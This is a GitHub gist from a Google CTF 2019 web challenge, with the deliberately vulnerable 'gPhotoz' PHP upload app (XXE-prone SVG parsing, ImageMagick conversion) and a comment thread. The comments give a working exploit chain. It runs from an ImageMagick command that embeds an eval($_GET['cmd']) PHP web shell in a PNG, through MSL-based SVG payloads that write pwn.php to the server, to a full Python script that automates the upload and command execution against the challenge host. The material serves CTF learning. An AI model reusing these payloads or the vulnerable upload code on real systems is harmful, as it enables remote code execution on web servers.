Skip to content

Instantly share code, notes, and snippets.

@neex
Created June 24, 2019 16:17
Show Gist options
  • Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
<?php
// require_once('config.php'); NOTE: the line is commened by the writeup author. config.php is inlined below.
/* config.php START */
// XXE? Lame. Real hackers get RCE.
$secret = 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==';
/* config.php END */
error_reporting( E_ALL );
session_start();
// totally not copy&pasted from somewhere...
function get_size($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}
function workdir() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d))
mkdir($d);
return $d;
}
function list_photos() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d)) return [];
$result = [];
foreach(glob("{$d}/*.*") as $f) {
if (strrpos($f, 'small') === FALSE)
$result[basename($f)] = $f;
}
return $result;
}
function upload() {
if (!isset($_FILES['photo']))
return;
$p = new PhotoUpload($_FILES['photo']['tmp_name']);
$p->thumbnail();
}
class PhotoUpload {
private $failed = false;
function __construct($path) {
$formats = [
"image/gif" => "gif",
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg",
// Uncomment when launching gVideoz
//"video/mp4" => "mp4",
];
$mime_type = mime_content_type($path);
if (!array_key_exists($mime_type, $formats)) {
die;
}
$size = get_size($path, $mime_type);
if ($size[0] * $size[1] > 65536) {
die;
}
$this->ext = $formats[$mime_type];
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";
move_uploaded_file($path, workdir()."/{$this->name}");
}
function thumbnail() {
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret);
if ($ret)
$this->failed = true;
}
function __destruct() {
if ($this->failed) {
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
}
}
}
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload();
header('Location: ?');
die;
break;
case 'src':
show_source(__FILE__);
die;
default:
break;
}
}
?>
<html>
<head>
<title>gPhotoz</title>
</head>
<body>
<div>
<form action="?action=upload" method="POST" enctype="multipart/form-data">
<input type="file" name="photo"><input type="submit" value="Upload">
</form>
</div>
<div>
<?php foreach(list_photos() as $name => $path): ?>
<div>
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a>
</div>
<?php endforeach ?>
</div>
</body>
<a href="?action=src"></a>
</html>
@neex
Copy link
Author

neex commented Jun 25, 2019

Hey,

I rechecked the post and found out that I forgot to include the ending ?> in my image generation command, so the image is invalid when parsed as php script.

The correct command should be:

convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>'  rgba:/dev/urandom[0] png.image.png

Note that the comment ends with ?> now. Size doesn't matter here, so I changed it to 1x1.

BTW, the image is nothing more than a PHP script that is also a valid PNG. I'm sure you've seen something like this earlier. The command above is just a convenient way to generate such images.

You can check the image by "running" it locally.

If you supply invalid image to php, it will complain about syntax errors:

$ php shitty_image.png
PHP Parse error:  syntax error, unexpected ':' in /home/emil/googlectf2019/shitty_image.png on line 5

If you supply a valid image, it will output a bunch of binary data along with Undefined index: cmd message:

$ php good_image.png
PNG

IHDROgAMA
x*$tEXtcommentPHP Notice:  Undefined index: cmd in /home/emil/googlectf2019/good_image.png on line 5
8%tEXtdate:create2019-06-23T17:03:50+03:00ώ%tEXtdate:modify2019-06-23T17:03:50+03:00yw2IENDB`

@neex
Copy link
Author

neex commented Jun 25, 2019

You also might want to change shell_huihui.php to something else now, I'm not sure if the upload/ folder is cleared properly in the challenge and I don't know how imagemagick handles already existing files.

@evandrix
Copy link

evandrix commented Jun 25, 2019

Yes!! I realised you missed out the closing tag ?> - I tried to test the payload locally, by typing php shell.png in my console ... totally works now~ yay ... Thanks so much for your help; brilliant exploit, and awesome clear writeup 🌟

I got my payload to work, and was about to leave a comment here to say so, before I read your reply above.
I went to grab a 1x1 black png from http://png-pixel.com, then mogrify -set comment '<?php echo phpinfo(); ?>' step1-shell.png
step1-shell
step2-polymorph.svg

<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
	<read filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
	<write filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/pwn.php" />
	<svg width="120px" height="120px">
		<image href="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
	</svg>
</image>

step3.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
	<image width="120" height="120" href="msl:/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/9b14b2b773d35dfa1b13455744560ccb.svg" />
</svg>

@evandrix
Copy link

I'm trying to spend this week (and maybe next) following through all the writeups to learn, while the challenges are still up

@neex
Copy link
Author

neex commented Jun 25, 2019

Nicely done. Thanks for reading our writeup.

I think imagemagick still has a lot of bugs to find )

@evandrix
Copy link

evandrix commented Jun 25, 2019

Nicely done. Thanks for reading our writeup.

np

I think imagemagick still has a lot of bugs to find )

oh ok

@evandrix
Copy link

evandrix commented Jun 25, 2019

automated

#!/usr/bin/env python
#-*- coding: utf-8 -*-

import re
import io
import sys
sys.dont_write_bytecode = True
import base64
import subprocess
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup

if __name__ == "__main__":
  # convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' "rgba:/dev/urandom[0]" shell.png
  # @ http://png-pixel.com
  the_png = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  the_png = base64.b64decode(the_png)
  filepath = "1x1.png"
  with open(filepath,"wb") as f: f.write(the_png)
  print>>sys.stderr, "=>",filepath

  # @ https://stackoverflow.com/questions/44017632/imagemagick-adding-and-reading-comment#answer-44018387
  cmd = ["mogrify","-set","comment","\"<?php system('/get_flag') ?>\"",filepath]
  print>>sys.stderr, " ".join(cmd)
  proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    # stdin=subprocess.PIPE,
    # stdout=subprocess.PIPE,stderr=subprocess.PIPE,
    # shell=True,close_fds=True)
  stdout,stderr = proc.communicate()
  if stderr: print>>sys.stderr, "err:",stderr
  if stdout: print stdout
  # proc.wait()
  # stderr = proc.stderr.read()
  # if stderr: print>>sys.stderr, "err:",stderr
  # stdout = proc.stdout.read()
  # print stdout

  # curl -XPOST -sL "http://gphotos.ctfcompetition.com:1337/?action=upload" -H "Cookie: PHPSESSID=..." -F "photo=@1x1.png"
  sess = requests.Session()
  baseuri = "http://gphotos.ctfcompetition.com:1337"
  resp = sess.get(baseuri)
  assert "Set-Cookie" in resp.headers
  hdr_cookie = resp.headers["Set-Cookie"]
  m = re.match(r"^PHPSESSID=([a-z0-9]{26})",hdr_cookie)
  if m:
    sess_id = m.group(1)
    print "PHPSESSID=%s"%sess_id
    hdr = {"Cookie":"PHPSESSID=%s"%sess_id}

    the_url = "%s/?action=upload"%baseuri
    files = {"photo":open(filepath,"rb")}
    # print>>sys.stderr, requests.Request("POST",the_url,files=files).prepare().body
    sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

    resp = sess.get(baseuri,headers=hdr)
    html = resp.content
    soup = BeautifulSoup(html,"html.parser")
    # @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
    imgs = soup.select("a[alt] > img[src]")
    if imgs: # and len(imgs)==1:
      print>>sys.stderr, imgs
      upload = imgs[-1].parent["href"]
      m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.png",upload)
      if m:
        img_dir,img_basename = m.groups()
        print>>sys.stderr, img_dir,img_basename
        tpl = """<?xml version="1.0" encoding="UTF-8"?>
        <!-- <svg> -->
        <image>
          <read filename="/var/www/html/upload/{0}/{1}.png" />
          <write filename="/var/www/html/upload/{0}/pwn.php" />
          <svg width="120px" height="120px">
            <image href="/var/www/html/upload/{0}/{1}.png" />
          </svg>
        </image>""".format(img_dir,img_basename)
        print>>sys.stderr, tpl.replace("\t"," ")
        polymorph = io.BytesIO(tpl)

        the_url = "%s/?action=upload"%baseuri
        files = {"photo":polymorph}
        sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

        resp = sess.get(baseuri,headers=hdr)
        html = resp.content
        soup = BeautifulSoup(html,"html.parser")
        # @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
        imgs = soup.select("a[alt] > img[src]")
        if imgs: # and len(imgs)==2:
          print>>sys.stderr, imgs
          upload = imgs[-1].parent["href"]
          m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.svg",upload)
          if m:
            img_dir,img_basename = m.groups()
            print>>sys.stderr, img_dir,img_basename
            tpl = """<?xml version="1.0" encoding="UTF-8"?>
            <svg width="120px" height="120px">
              <image width="120" height="120" href="msl:/var/www/html/upload/{0}/{1}.svg" />
            </svg>""".format(img_dir,img_basename)
            print>>sys.stderr, tpl.replace("\t"," ")
            step3 = io.BytesIO(tpl)

            the_url = "%s/?action=upload"%baseuri
            files = {"photo":step3}
            sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

            # the_url = "%s/upload/%s/pwn.php?cmd=system(\"/get_flag\")"%(baseuri,img_dir)
            the_url = "%s/upload/%s/pwn.php"%(baseuri,img_dir)
            resp = sess.get(the_url,headers=hdr)
            print resp.content
            # CTF{8d62b2ffc578227e67ca8bab53420ded}
  sess.close()

@neex
Copy link
Author

neex commented Jun 25, 2019

Nice!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment